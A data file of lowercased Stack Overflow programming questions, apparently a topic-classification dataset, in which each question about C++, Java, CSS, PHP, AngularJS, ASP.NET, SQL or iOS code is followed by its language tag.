operator-&gt;() const{        prefix() ;        return  call_proxy&lt;t suf&gt;(&amp;p suffix);    } };  void prefix() { cout &lt;&lt;  prefix  ; } void suffix() { cout &lt;&lt;   suffix\n ; } struct pref { void operator()() const{ cout&lt;&lt;   pref  ; } }; struct suf { void operator()() const{ cout&lt;&lt;   suf  ; } };  template&lt;class t&gt; struct shared : public wrap&lt;t pref  suf&gt; {    shared(t&amp; obj) : wrap&lt;t pref  suf&gt;(obj pref()   suf()) { } }; template&lt;class t&gt; struct tracer : public wrap&lt;t void(*)()  void(*)()&gt;  {      tracer(t&amp; x) : wrap&lt;t void(*)()  void(*)()&gt;(x ::prefix ::suffix) { }  };  class x { public:     void g() const{ cout &lt;&lt;  g() ; } };  int main() {// test program   x x;   shared&lt;x&gt; xx(x) ;   tracer&lt;shared&lt;x&gt;&gt; xxx(xx);    xx-&gt;g();   xxx-&gt;g();   return 0; } </code></pre>   but this fails with the error <code>error: ‘struct shared&lt;x&gt;’ has no member named ‘g’</code>. i read about <code>operator-&gt;</code> overloading and understand the problem (<code>call_proxy</code> returns a pointer  which does not propagate the overloading  as mentioned <a href= https://stackoverflow.com/questions/4923270 >here</a>).    i tried some alternatives by returning reference instead of pointer  but in the end i have either the problem mentioned above  or the problem that <code>operator-&gt;</code> is called on a reference type (<code>error: result of ‘operator-&gt;()’ yields non-pointer result</code>).    is there a way to achieve this  as it was mentioned in the paper  i thought it should be possible.   <hr>   edit: code versions for both errors.   <ul> <li><a href= http://ideone.com/ff9uyn  rel= nofollow noreferrer >http://ideone.com/ff9uyn</a> (<code>error: ‘struct shared&lt;x&gt;’ has no member named ‘g’</code>. i read about <code>operator-&gt;</code>)</li> <li><a href= http://ideone.com/cv93qx  rel= nofollow noreferrer >http://ideone.com/cv93qx</a> (<code>error: result of ‘operator-&gt;()’ yields non-pointer result</code>)</li> </ul>   both versions are the same  with line 17 or line 18 commented out.,c++
java object instantiation  forgive me  i am new to java! and is for a university project  i am having trouble with a few concepts  i have tried to google around to no avail!. how can i instantiate a certain amount of heaters of the heater class  inside the marsroom class  and then access them in the main of the mastercontrolpanel. but depending on the number of numheaters set in the constructor  . i have tried this but its not recognising the object room1.roomheaters[0]. it does however recognise it if i just instantiate one object like heaters roomheaters = new heaters();. many thanks   <pre><code>public class mastercontrolpanel{      public static void main(string[] args){      marsroom room1 = new marsroom(40  40  20  20  8  2  4);     marsroom room2 = new marsroom(40  40  20  20  8  2  4);     marsroom room3 = new marsroom(40  40  20  20  8  2  4);     marsroom room4 = new marsroom(40  40  20  20  8  2  4);     room1.createheaters();      system.out.println( turned   + (room1.roomheaters[0].getheater()     on  :   off ));     } }   public class marsroom extends rooms implements roominterface{  int roomareasq; int heatloss; float insidetemp; float outsidetemp; float uvalue; int numheaters; int numlights; heaters roomheaters[] = new heaters[numheaters];  public marsroom(){ }  public marsroom(int windowsh  int windowsw  int wallsh  int wallsw  int windowc  int heaters  int lights){     windowsheight = windowsh;     windowswidth = windowsw;     wallsheight = wallsh;     wallswidth = wallsw;     windowceiling = windowc;     numheaters = heaters;     numlights = lights;  }  public void createheaters(){ for (int i=0; i &lt; numheaters; i++) { roomheaters[i] = new heaters(); } }   public void calculateheatloss(){  }  } </code></pre>,java
"how to position :before pseudo element under parent that has z-index + position relative set   i am trying to create two-colored border with pseudo-element. but if i add z-index to the parent  .d  it stops working. is there a way to have  position: relative  and  z-index  on  .d  and make this work     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.d {
   background-color: #000;
   height: 100px;
   width: 100px;
   /*z-index: 1000;  */
   /* stops working if i add z-index */
   position: relative;
 }
 .d:before {
   content:   ;
   border: #0000ff 4px dashed;
   background-color: #ff0000;
   top: -2px;
   left: -2px;
   bottom: -2px;
   right: -2px;
   position: absolute;
   z-index: -1;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= d &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://jsfiddle.net/vmwm0zfg/  rel= nofollow >https://jsfiddle.net/vmwm0zfg/</a>",css
how do you use weak linking in an iphone application   how do you weak link frameworks when developing for the iphone       once you ve weak-linked a framework  how do you use classes and methods that may not be present on all os versions,iphone
angularjs: local json file works in factory but live api doesn t  i found this <a href= http://plnkr.co/edit/3eoq0zmv5nnophvyccas p=preview  rel= nofollow >plunker</a> in this old <a href= http://www.benlesh.com/2013/02/angularjs-creating-service-with-http.html  rel= nofollow >article</a> in my research to access api via a factory rather than in my controller. the plunker works fine but it is accessing a local json file whereas i will be accessing a live api feed.    i forked and modified the code to point to a live api feed which i tested in the browser and the feed at the url is working but everything in the plunker went blank. here are the steps i took to fail.    i modified the html to match the api field names like so:   <pre><code>&lt;body ng-controller= mainctrl &gt;     &lt;h3&gt;$scope.foo&lt;/h3&gt;     &lt;ul&gt;       &lt;li ng-repeat= item in foo &gt;{{item.zipcode}} - {{item.city}}&lt;/li&gt;     &lt;/ul&gt;      &lt;h3&gt;$scope.foo2&lt;/h3&gt;     &lt;ul&gt;       &lt;li ng-repeat= item in foo2 &gt;{{item.zipcode}} - {{item.city}}&lt;/li&gt;     &lt;/ul&gt;      &lt;h3&gt;$scope.bar&lt;/h3&gt;     &lt;ul&gt;       &lt;li ng-repeat= item in bar &gt;{{item.zipcode}} - {{item.city}}&lt;/li&gt;     &lt;/ul&gt;      &lt;br/&gt;      &lt;h3&gt;and here is what you get if you just return the promise returned by $http.get():&lt;/h3&gt;     &lt;pre&gt;{{test | json}}&lt;/pre&gt;   &lt;/body&gt; </code></pre>   and then substituted the url in place of the local json file in the service:   <pre><code>var app = angular.module( angularjs-starter   []);  app.controller( mainctrl   function($scope  myservice) {     //the clean way    $scope.foo = myservice.getfoo();     //the  but i really like callbacks  way.    myservice.getfoo().then(function(data) {       $scope.foo2 = data;    });     //the  common callback  pattern    myservice.getbar(function(data) {       $scope.bar = data;    });     //so what happens if i just return     // whatever $http.get() returns     $scope.test = myservice.testhttpgetresult(); });  app.factory( myservice   function($http  $q) {    return {      getfoo: function() {        var deferred = $q.defer();        $http.get( http://gomashup.com/json.php fds=geo/usa/zipcode/state/la&amp;jsoncallback=  ).success(function(data) {           deferred.resolve(data);        }).error(function(){           deferred.reject();        });        return deferred.promise;      }       getbar: function(callback) {        $http.get( http://gomashup.com/json.php fds=geo/usa/zipcode/state/la&amp;jsoncallback=  ).success(callback);      }       testhttpgetresult: function (){        return $http.get( http://gomashup.com/json.php fds=geo/usa/zipcode/state/la&amp;jsoncallback=  );      }    } }); </code></pre>   now there is no data.     here is my forked <a href= http://plnkr.co/edit/0eoee6ca5gk1brkvab6w p=preview  rel= nofollow >plunker</a>.    is something else required to access a live api rather than a local json file,angularjs
how to trigger validation on first load  is there a way to trigger the validation on the form on the first load  my form loads its data from the db and the data could already be partially filled by the user - so i want to run the validation on the first load to show the user what he needs to fill and how much    i failed to mention it earlier - i need to perform the validation on the server side - not client side (all the validators i use have server side validation code as well) - and my attempts to call:   <pre><code>page.validate(); page.validate( my validation group ); </code></pre>   both resulted in   <pre><code>page.isvalid == true; </code></pre>   the full scenario is like this: i have a very long form that stretch over several pages - the user is allowed to move between them and fill in the information - without validation getting in his way then when he finish he clicks on a different button (that exists on all pages) and that page needs to validate the entire form - and if there is a problem jump the user to where the problem is - i coded all the validation checks into asp.net validation controls - and i whuld like to trigger those controls even if the user jumps to that page by pressing the validate button on a different page - the problem is that the move to that page is regarded as a new load of that page (in fact it is - and hence the validation fails to work),asp.net
.net force user.config update  by navigating to .net project (window form)  selecting properties > .settings      2 types can be selected which are user and application.    after checking the information  i found that user properties store the value at user pc locally.    my question is how can force the user properties update    for example  a string property =  hello world   then i have changed it to  hello world2 .    the user config will still remained the same in the user.config (it is at user local pc)  which is  hello world  instead  hello world 2,.net
file not found issue in implementing ogg vorbis in ios  i am implementing an ogg vorbis player in my ios app for playing .ogg format audio files  the project separately works fine but when adding it to my project  it gives a    <pre><code> vorbis/ivorbiscodec.h  file not found </code></pre>   error… any help would be appreciated.  thanks in advance.,ios
contains() with generic type  i need to convert the method  contains()    <pre><code>public boolean contains(list&lt;integer&gt; list  int value){     for (int i : list) {         if(i == value)           return true; </code></pre>   into a method that can search for every datatype but i dont really know how to do it.   <pre><code>import java.util.list;  public class search&lt;t&gt; {     public boolean contains(list&lt;t&gt; list  t value){         for ( t i : list) {             if(i == value)                 return true;         }         return false;     } } </code></pre>   this is my attempt so far but i dont know if this is all i have to do or not.<br> i hope someone can help me out.,java
how to find difference between two time   i have a two variable with value date type assigned to it. now i want to find difference of those two variable values.   <pre><code>$d1= 2016-08-24 12:22:13 ; $d2= 2016-08-24 12:22:30 ; </code></pre>   difference of <code>d2-d1</code> is 17 seconds. how to find it in php,php
how do i return the number of unique digits in positive integer  here is what i currently have:   <pre><code>unique = 0  while n &gt; 0:         last  n = n % 10  n // 10             if not has_digit(n  last):                 unique += 1         return unique </code></pre>   i m trying to have it so for every unique number in an integer  it outputs how many unique numbers there are.    for example:    <pre><code>unique_digits(123456) = 6     unique_digits(112222) = 2  &gt;&gt;&gt; unique_digits(8675309) # all are unique     7     &gt;&gt;&gt; unique_digits(1313131) # 1 and 3     2     &gt;&gt;&gt; unique_digits(13173131) # 1  3  and 7     3     &gt;&gt;&gt; unique_digits(10000) # 0 and 1     2     &gt;&gt;&gt; unique_digits(101) # 0 and 1     2     &gt;&gt;&gt; unique_digits(10) # 0 and 1     2         </code></pre>,python
strange behaviour when setting property in iphone app <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {      pushonstackviewcontroller *vc = [[pushonstackviewcontroller alloc] init];     vc.key = [self.keys objectatindex:[indexpath row]];      [self.navigationcontroller pushviewcontroller:vc animated:yes]; } </code></pre>   and    in the init method of the pushonstackviewcontroller class i have   <pre><code>- (id)init {         self.navigationitem.title = key;      nsdictionary *dict = [[nsdictionary alloc] initwithcontentsoffile:[[nsbundle mainbundle] pathforresource:@ texts  oftype:@ plist ]];     self.keys = [dict objectforkey:key];     [dict release];      nslog(@ %@   self.key);     nslog(@ %i   [self.keys count]);      return self; } </code></pre>   but why can t i access the self.key  it returns null  even though it has been set(it is a string).    when i access it in viewdidload it returns the correct value...anything i haven t read  or am i doing anything wrong      thanks in advance.,iphone
currency conversion usd to inr  i want to convert currency from usd to inr  the value in usd retrive from url and i want to convert it in inr according the current rate.  here is the first code:   <pre><code>&lt; php   require_once( currency.php );   $val=$_get[ val ];   echo currency($val);    &gt; </code></pre>   and the second code is:   <pre><code>&lt; php  function currency($val) { $amount = $val;   $url =  http://www.google.com/ig/calculator hl=en&amp;q=$amountusd= inr ;  $ch = curl_init();  $timeout = 0;  curl_setopt ($ch  curlopt_url  $url);  curl_setopt ($ch  curlopt_returntransfer  1);  curl_setopt($ch   curlopt_useragent    mozilla/4.0 (compatible; msie 8.0; windows nt  6.1) );  curl_setopt ($ch  curlopt_connecttimeout  $timeout);  $rawdata = curl_exec($ch);  curl_close($ch);  $data = explode(     $rawdata);  $data = explode(     $data[ 3 ]);  $var = $data[ 0 ];  return round($var 3);  }    &gt; </code></pre>   bytheway am testing this code on 0fees.net  the free hosting site  so is there any problem for that as am trying live usd to inr conversion.,php
execute repetitive background task  i need a suggestion for my application  there is a db which contains lot of events timestamp in milliseconds.     now in interval of each one minute from alarmmanager i fetch required milliseconds from database and shows notification.    is there any other idea for this task from which i don t need to run alarmmanager in each one minute  like services or any other idea.       i think using alarmmanager at every one minute is battery consuming.,android
hard time understanding javascript example  i am currently following a javascript course and am having issues understanding what is happening behind the scenes in javascript in one of the examples (see code below).    i understand most of the code and understand why the output logged is -> [false  true  true]. however there is one part which is driving me nuts (i pointed an arrow to it in the code at the bottom):    <strong>my confusion revolves around the parameter <code>1</code></strong>:    what journey does the parameter <code>1</code> take from the moment it gets passed with <code>checkpastlimitsimplified(1)</code> in <code>var arr5 = mapforeach(arr1  checkpastlimitsimplified(1));</code>.    i understand that when <code>checkpastlimitsimplified(1)</code> is invoked an execution context is created for this function in which the parameter 1 is in the variable environment.     <strong>but now what happens </strong>  the function inside the <code>checkpastlimitsimplified</code> function is not executed yet but just returned. what does it look like when it is returned  at what point do the <code>limiter</code> variables receive the parameter <code>1</code>     i understand that <code>.bind(this  limiter);</code> creates a copy of the function. is its <code>limiter</code> variable already a 1 before it gets returned    <pre class= lang-js prettyprint-override ><code>function mapforeach(arr  fn) {    var newarr = [];   for (var i = 0; i &lt; arr.length; i++) {     newarr.push(       fn(arr[i])     )   };    return newarr; }  var arr1 = [1  2  3];  var checkpastlimitsimplified = function(limiter) { // &lt; ----confused   return function(limiter  item) {     return item &gt; limiter;   }.bind(this  limiter); };  var arr5 = mapforeach(arr1  checkpastlimitsimplified(1)); console.log(arr5); </code></pre>,javascript
inconsistent  incorrect format  error  .net framework 4.0 windows 2012    i have two exe s that use a single dll.  one of the exe s always works  but the other exe always fails with this message:    <blockquote>    could not load file or assembly  {dllhere}  version=1.0.0.0  culture=neutral  publickeytoken=null  or one of its dependencies. an attempt was made to load a program with an incorrect format.     </blockquote>   each exe is in a separate folder and each folder contains its own identical copy of the dll.  a google search points to this being caused by compiling the dll for the wrong cpu.  since it works for one exe  i don t see that being the problem.    both exe s run fine on my win7 pc and a win2003 server.    what causes this error,.net
copy file giving a similar name  let s say there is a file: <code> c:\work\foo.txt </code>.    i know i can use this method: <code>system.io.file.copy(oldpathandname  newpathandname);</code>  but i do want the new created file to have a name similar as the initial file  something like this: <code>foo(1).txt</code>.    i have the possibility to create as many files as i want => <code>foo(2).txt</code>  <code>foo(3).txt</code>  and so on...    currently  i am giving a random file name  using <code>guid.newguid().tostring()</code>,c#
call  create  action of a controller  i created a controller  using rails 3 generator  controller   and only two actions: create and destroy.    so it generates for me these two lines in routes.rb:   <pre><code>get  mycontroller/create  get  mycontroller/destroy  </code></pre>   first i change these action to post and delete verbs:   <pre><code>post  mycontroller/create  delete  mycontroller/destroy  </code></pre>   and i m using jquery to call these actions  like this:    calling ˜create˜:   <pre><code>    $.ajax({       type:  post         datatype:  script         data:{id: id}        url:  /mycontroller      }) </code></pre>   but it s not working. i need to put  /create  in the url to work:   <pre><code>    $.ajax({       type:  post         datatype:  script         data:{id: id}        url:  /mycontroller/create      }) </code></pre>   what is wrong,ruby-on-rails
link client profile .net dll with non-client profile .dll   i develop a .dll which uses .net 4.0 client profile (cp). however  i also have a .dll which i would like to link with my .dll and that another .dll (dotnetopenauth) is not compatible with client profile as it uses system.web.    i know you can t reference non-cp .dll with cp-compatible project. the question is how can i do this :) i know many things are not possible at first glance but with some tweaking ..    the thing i don t understand why the compiler just doesn t give me the warning that my project which targets cp links non-cp .dll. if it worked this way  i would be able to have cp-compatible .dll which would work in most cases unless the feature which utilizes dotnetopenauth gets called.    in brief  i want to move cp-compatibility check from compile time to runtime. this is because my .dll has many features and most people will never use that part which requires dotnetopenauth. those folks which need dotnetopenauth will have to use full .net framework. but this must not be the show-stopper for others.    i mean something like allowpartiallytrustedcallersattribute which allows you to move some compile time checks to runtime.    i don t want to maintain two separate versions of the .dll (one for web apps and another for client profile) as it adds complexity for the users which .dll to select. i d prefer to keep things simple.     of course  there is a method of dynamic loading of a .dll through reflection but this requires quite high privileges from the running code (in case of web apps they probably won t have enough privileges for this).,.net
move files to server  how is it possible to move files from a folder to web server through ftp  using asp.net with c#,asp.net
what does this syntax mean in objective-c   consider the following:   <pre><code>- (id)initwithtitle:(nsstring *)newtitle      boxofficegross:(nsnumber *)newboxofficegross             summary:(nsstring *)newsummary; </code></pre>   what does this mean   i ve guessed that it returns id  and takes three params  but what does each part of the syntax mean   i come from a ruby/js background and am finding this syntax a little hard to grasp.,objective-c
actioncontroller::parameters duplicated key  the following snippet is from one of my controllers:   <pre><code>class admin::portfolios::portfolioscontroller &lt; comfy::admin::cms::basecontrollers    def create     uploader = portfoliouploader.new     uploader.store!(params[:portfolio][:thumbnail])      @portfolio.save!     flash[:notice] =  portfolio item saved!      redirect_to :action =&gt; :index   rescue activerecord::recordinvalid     flash.now[:error] =  error saving portfolio item      render :action =&gt; :new   end </code></pre>   in development mode <code>params[:portfolio][:thumbnail]</code> is set in the controllers request params. however in production mode <code>params[:portfolio_portfolio][:thumbnail]</code> is set instead.    i m using <code>form_for(@portfolio)</code> and in development all the form fields name are <code>portfolio[name]</code> and <code>portfolio_portfolio[name]</code> in production mode. see the erb below.   <pre><code>&lt;%= form_for @portfolio  :url =&gt; {:action =&gt; :create}  :html =&gt; {:multipart =&gt; true} do |form| %&gt;     &lt;% render :partial =&gt; form %&gt; &lt;% end %&gt; </code></pre>   can anybody explain why this might be happening,ruby-on-rails
jquery find attribute id  i have the following javascript code:    <pre><code>$(function() { var parent =   ; $( a.tip ).click(function(e) { e.preventdefault(); parent = $(this).parent(); $( #deletelink ).dialog( open ); return false; }); $( #deletelink ).dialog({ autoopen: false  width: 300  buttons: {  ok : function() { $.ajax({ type:  post   url:  asd   data:  ajax=1&amp;delete=  + parent.attr( id ).replace( record-    )  beforesend: function() { parent.animate({ backgroundcolor : #fb6c6c } 300); }  success: function() { parent.slideup(300 function() { parent.remove(); }); } }); $(this).dialog( close ); }   cancel : function() { $(this).dialog( close ); } } }); }); </code></pre>   which i use with the following html code:   <pre><code>    &lt;li class= odd &gt;     &lt;div class= avatar-container &gt;         &lt;div class= avatar &gt;             &lt;div class= imgdelete  id= record-1  style= text-align:center; &gt;                 &lt;a class= tip  href= javascript:void(0);  title= this action cannot be undone! &gt;&lt;span&gt;delete&lt;/span&gt;&lt;/a&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;  &lt;/li&gt; &lt;li class= even &gt;     &lt;div class= avatar-container &gt;         &lt;div class= avatar &gt;             &lt;div class= imgdelete  id= record-2  style= text-align:center; &gt;                 &lt;a class= tip  href= javascript:void(0);  title= this action cannot be undone! &gt;&lt;span&gt;delete&lt;/span&gt;&lt;/a&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;  &lt;/li&gt; </code></pre>   the html code above is generated with php loop.    my problem is that when i click on  delete  link  only parent div is slided up. i need to make it to slide up the whole <code>&lt;li&gt;</code>. any help,jquery
sql to get grades  i m creating an application to store tests. the database schema is simplified below   <pre><code>id_student            id_teacher          grade second_test  student_1             teacher_1           10     y  student_1             teacher_1           5      n  student_2             teacher_1           8      n  student_3             teacher_1           9      n  </code></pre>   i need a query to get the grade of each student considering that if that student has a second test (which is a retrieval) the grade returned must be the one of the second test (and not the first).    so for that example  the result set should be   <pre><code>student_1             teacher_1           10     y  student_2             teacher_1           8      n  student_3             teacher_1           9      n  </code></pre>   i wrote a sql  but it s not working. because it won t get the student_2 and student_3   <pre><code>select   m.id_student    m.grade from   mytable m where   second_test =  y    or exists (     select 1     from       mytable     where       id_student = m.id_student       and id_teacher &lt;&gt; m.id_teacher       and second_test =  y  ) </code></pre>,sql
prevent users from entering multiple decimals in a string  i am doing a button calculator app (still) in which users press a button  i store a value into a string to display in a text box  and then convert into floats when the user enters the = button.    works great for the most part  except i cannot figure out how to prevent users from entering more than one decimal in a single string. i thought about passing it to a bool method  but none of my class materials cover methods at all.     i looked at this stack overflow question  but trying to amend the code for my own just resulted in a whole bunch of errors. does anyone have any advice    <pre><code>    -(ibaction) decimal     {      nsstring *decval =@ . ;      nsrange range = [decval rangeofstring:@ . ];       if (range.location==nsnotfound)       {         display.text = [display.text stringbyappendingstring:decval];       }     else     {         nslog(@ you can t enter more than one decimal );     } </code></pre>   },objective-c
sharing a page between modules in asp.net  i am programming an asp.net application that has different modules (each one with different styles and master pages)  but there are some pages that i need to share between the modules.    how do i share a page between two different modules in an asp.net application,asp.net
method overloading least specific method argument type <pre><code>public class class1 {      public void method(object obj){         system.out.println( object );     }      public void method(string str){         system.out.println( string );     }      public static void main(string... arg){         new class1().method(null);     }  } </code></pre>   as per jvm it will call to most specific argument type in this case most specific is string so method call happen to string argument type but we need to call method of object argument type,java
dealing with 3.5 and 4 inch screen  is there a way to see what the screen size is   i m writing my first iphone app after iphone 5 came ut.  i see apple now has 2 screen sizes to deal with.<br> is there a way to see what screen size your app is running on  i was thinking about having a seperate vue class for inch screen size and then a base class so thet can share the functionality.  seems kind of complicated  is there a more simple way to handle this,ios
update panel updates page completely but i need to update just itself  i m so angry i put an update panel with a timer and label :   <pre><code>    &lt;asp:updatepanel runat= server  updatemode= conditional  childrenastriggers= false  id= uptimer &gt; &lt;contenttemplate&gt;      &lt;asp:timer id= timer1  runat= server  interval= 1000  ontick= timer1_tick  &gt;&lt;/asp:timer&gt;  &lt;/contenttemplate&gt; </code></pre>      <pre><code>&lt;asp:updatepanel id= updatepanel1  runat= server &gt;         &lt;contenttemplate&gt;              &lt;asp:label runat= server  id= lab1 &gt;&lt;/asp:label&gt;             &lt;br/&gt;             &lt;asp:label runat= server  id= lbtime &gt;&lt;/asp:label&gt;         &lt;/contenttemplate&gt;     &lt;/asp:updatepanel&gt; </code></pre>   and in codebehind i wrote to set datetime.now to label in  pageload  it shouldnt update every second but it is updateing :((     code behind :   <pre><code>public datetime endtime;     public timespan timespann;     protected void page_load(object sender  eventargs e)     {         endtime = datetime.now.addhours(1);         lbtime.text = datetime.now.tostring();     }      protected void timer1_tick(object sender  eventargs e)     {         //timespann = endtime.subtract(datetime.now);         //datetime now = datetime.now;         //response.write(endtime.subtract(now).totalseconds.tostring());         //lab1.text = timespann.tostring();         //lbtime.text = datetime.now.tostring();     } </code></pre>,asp.net
better way to create a string in java  i have a string as follows:     this is @awesome @dude     from this string i want to extract awesome and dude and create a string   <pre><code> output==&gt;  awesome dude  </code></pre>   so my code is like following:   <pre><code>matcher matcher = pattern.compile( ( &lt;=@)\\w+ ).matcher(textstr); while (matcher.find()){     mergedstr += matcher.group() +   ; } </code></pre>   but this creates an artifact in the end    <pre><code>output==&gt;  awesome dude    //&lt;-- egghh comma.. in the end </code></pre>   what is a better way to solve this out.,java
date in milliseconds with gettime()  i am looking to output dates in millisecondes but it is not working.    in the html file i have :     {{product.date_expiration}} : // wich output ==> 2018-01-13t12:22:06.165z    {{currentdate}} : // wich output ==>  2017-02-10t13:18:58.339z     with :   <pre><code>date_expiration: {type: date} </code></pre>   and :    <pre><code>{currentdate}}: {type: date} </code></pre>   whene i try to get dates in milliseconds :    {{product.date_expiration.gettime()}} ==> does not output anything    and :   <pre><code>{{currentdate.gettime()}} ==&gt; output 1486733469830 </code></pre>   any help will be appreciated. thanks,angularjs
can i overload a function based on the argument being a lvalue or a rvalue   in my template  smart pointer  class  i want to have separate constructors and assignment operators that take as arguments  respectively  lvalue and rvalue pointers. how should i write the functions,c++
how do i get the script to also check a different dimension   okay so this code is for a file upload button now this part of the code/javascript checks the dimension of 3000 x 2000 but how do i also get it to check if the image was 2000 x 3000   obviously then it would give a result for landscape and portrait images....       <pre><code>// check the image resolution         if (this.width &gt;= 3000 &amp;&amp; this.height &gt;= 2000) {             deferred.resolve(true);         } else {             $( #imagevalidationerror ).show();             deferred.resolve(false);         }     };        </code></pre>   all the code:   <pre><code> &lt;script&gt;            function readurl(input) {             if (input.files &amp;&amp; input.files[0]) {                 var reader = new filereader();                  reader.onload = function (e) {                     $( #blah ).attr( src   e.target.result);                 }                  reader.readasdataurl(input.files[0]);                         isgoodimage(input.files[0])             }         }          $( #imginp ).change(function(){             readurl(this);         });          var _url = window.url || window.webkiturl;      function issupportedbrowser() {         return window.file &amp;&amp; window.filereader &amp;&amp; window.filelist &amp;&amp; window.image;     }      function getselectedfile() {         var fileinput = document.getelementbyid( imginp );         var fileisselected = fileinput &amp;&amp; fileinput.files &amp;&amp; fileinput.files[0];         if (fileisselected)             return fileinput.files[0];         else             return false;     }      function isgoodimage(file) {         var deferred = jquery.deferred();         var image = new image();          image.onload = function() {             // check if image is bad/invalid             if (this.width + this.height === 0) {                 this.onerror();                 return;             }              // check the image resolution             if (this.width &gt;= 3000 &amp;&amp; this.height &gt;= 2000) {                 deferred.resolve(true);             } else {                 $( #imagevalidationerror ).show();                 deferred.resolve(false);             }         };          image.onerror = function() {             $( #nofileerror ).show();             deferred.resolve(false);         }          image.src = _url.createobjecturl(file);          return deferred.promise();     }      /** new code **/         $( #checkimage ).click(function(){             if (issupportedbrowser()) {                var file = getselectedfile();               if (!file) {                   $( #nofileerror ).show();                   return;               }                isgoodimage(file)           }         })       &lt;/script&gt; </code></pre>,javascript
what does  ->  mean in objective-c   well  i m sorry i can t find any useful results when i search  ->  on google  and this is the first time i ve seen anything like this. i ve found the following line in one of ray wenderlich s game center tutorials:   <pre><code>message *message = (message *)[data bytes]; if (message-&gt;messagetype == kmessagetyperandomnumber) {     ... } </code></pre>   message here is a predefined struct:   <pre><code>typedef struct {     messagetype messagetype; } message; </code></pre>   from <a href= http://www.raywenderlich.com/3325/game-center-tutorial-for-ios-how-to-make-a-simple-multiplayer-game-part-22  rel= nofollow >http://www.raywenderlich.com/3325/game-center-tutorial-for-ios-how-to-make-a-simple-multiplayer-game-part-22</a>.,objective-c
max years allowed parameter for credit card field  i am working in a rails application in c9. in my project i entered the credit card fields with this code at the end:   <pre><code> &lt;%= select_year nil  {start_year: date.today.year  end_year: +15}  {name: nil  id:  card_year }%&gt; </code></pre>   i get this error message: there are too many years options to be built. are you sure you haven t mistyped something  you can provide the :max_years_allowed parameter.    how is this :max_years_allowed parameter written in code to bridge this problem  any expert advice,ruby-on-rails
javascript object - why undefined properties   why does this code produce an undefined for <code>setmedium</code> and <code>setlarge</code>  i would like these to look like similar methods to <code>setsmall</code>. what do i have to do to correctly define these as methods    <pre><code>function box() {     this.length = 14;     this.width = 10;     this.height = 6;     this.setsmall = function (){         this.length = 14;         this.width = 10;         this.height = 6;     }     this.setmedium = setboxdimensions(16 14 6);     this.setlarge = setboxdimensions(24 14 6);     this.initboxdimensions = this.setsmall;      function setboxdimensions(length  width  height){         this.length = length;         this.width = width;         this.height = height;     } } var newbox = new box(); newbox.setsmall(); console.log(newbox); </code></pre>,javascript
how to search/find a method or attribute on a python object  (search all descendents)  i am working with a 3rd party library that i am new to.  there s a method that i m trying to call  but i can t find it.  it s in <code>self</code> ... somewhere.  it could be on a child attribute or on a child of a child  or on a child of a child of a child -- deep down in <code>self</code>.  but i can t find it.  it s a large tree  so finding this is taking a long time.    how do i find it     this is a generic problem.  it can happen to anyone when learning a new library  especially a complex one  for the first time.  we all know to rtfm  but sometimes that isn t enough.  if we have access to the source  we can read the source.  but  if the library is complex  heavily decorated  wrapped  re-factored  solid principle d library  the above might not be very fruitful.    i ve tried to mess with <code>vars()</code>  <code>dir()</code> and the <code>inspect</code> module  but so far no good.  i m probably using them wrong.,python
jscript converter  does anyone know of a good jscript converter. trying to take a windows environment page (asp) to nix (php) was able to convert the asp but having trouble with the jscript. thanks.,javascript
crop image when draw line with hand  i have a image view added on a view. view is using <code>uibezierpath</code> and touch responder methods for drawing line upon dragging on screen. now i would like to clip the part of image that are below the line. how can i achieve this.    i use below methods to draw line   <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {     uitouch *touch = [touches anyobject];     cgpoint p = [touch locationinview:self];      [path movetopoint:p]; }  - (void)touchesmoved:(nsset *)touches withevent:(uievent *)event {     uitouch *touch = [touches anyobject];     cgpoint p = [touch locationinview:self];     [path addlinetopoint:p]; // (4)     [self setneedsdisplay]; }  - (void)touchesended:(nsset *)touches withevent:(uievent *)event {     [self touchesmoved:touches withevent:event]; } </code></pre>   <img src= https://i.stack.imgur.com/lvmwv.png  alt= enter image description here >,ios
angular function not recognised in unit testing  i m using angular-datatables in our project.    i got this error while testing:   <pre><code>typeerror: dtoptionsbuilder.newoptions(...).withbootstrap is not a function in /var/www/symfony/xxxx/src/xxxx/adminbundle/resources/public/js/controllers/category/category-grid.controller.js (line 20) </code></pre>   which the code is recognised as function in dev code  and here is the testing code:   <pre><code>(function() {     use strict ;    describe( category grid controller unit test   function() {     var $controller  $rootscope;      beforeeach(module( category-grid.controller ));      beforeeach(inject(function(_$controller_  _$rootscope_) {       $controller = _$controller_;       $rootscope = _$rootscope_;     }));      it( should define category grid controller   function() {       var $scope = $rootscope;       var categorygridcontroller = $controller( categorygridcontroller   {$scope: $scope});       expect(categorygridcontroller).tobedefined();     });   });  })(); </code></pre>   and here is the controller code:   <pre><code>  function categorygridcontroller($stateparams  $scope  category  dtoptionsbuilder  dtcolumndefbuilder  utils  $window  notify) {     $scope.categories = [];     $scope.dtoptions = dtoptionsbuilder.newoptions().withbootstrap();      $scope.dtcolumndefs = [       dtcolumndefbuilder.newcolumndef(5).notsortable()     ];      if (angular.isdefined($stateparams.id)) {       category.get({id: $stateparams.id}  function(data) {         var categories = data.children;         var translation;         for (var i = 0; i &lt; categories.length; i++) {           translation = utils.gettranslation(categories[i].translations);           categories[i].name = translation.name;         }          translation = utils.gettranslation(data.translations);         $scope.categoryname = translation.name;          $scope.categories = categories;       });     }     else {       category.query({ _level: 1 }  function(data) {         for (var i = 0; i &lt; data.length; i++) {           var translation = utils.gettranslation(data[i].translations);           data[i].name = translation.name;         }          $scope.categories = data;       });     }      $scope.toggleenabled = function(id  index) {       console.log(!$scope.categories[index].enabled);       if ($window.confirm($scope.translations.are_you_sure)) {         category.patch({id: id}  {category: {enabled: !$scope.categories[index].enabled}}            function(data) {             $scope.categories[index].enabled = data.enabled;             notify({                messagetemplate:   &lt;span&gt;&lt;i class= fa fa-check &gt;&lt;/i&gt;   + $scope.translations.data_save_success +  &lt;/span&gt;               });           }            function(e) {             notify({                messagetemplate:   &lt;span&gt;&lt;i class= fa fa-warning &gt;&lt;/i&gt;   + $scope.translations.data_save_error +  &lt;/span&gt;                  classes:  alert-danger               });           }         );       }     };   } </code></pre>   the 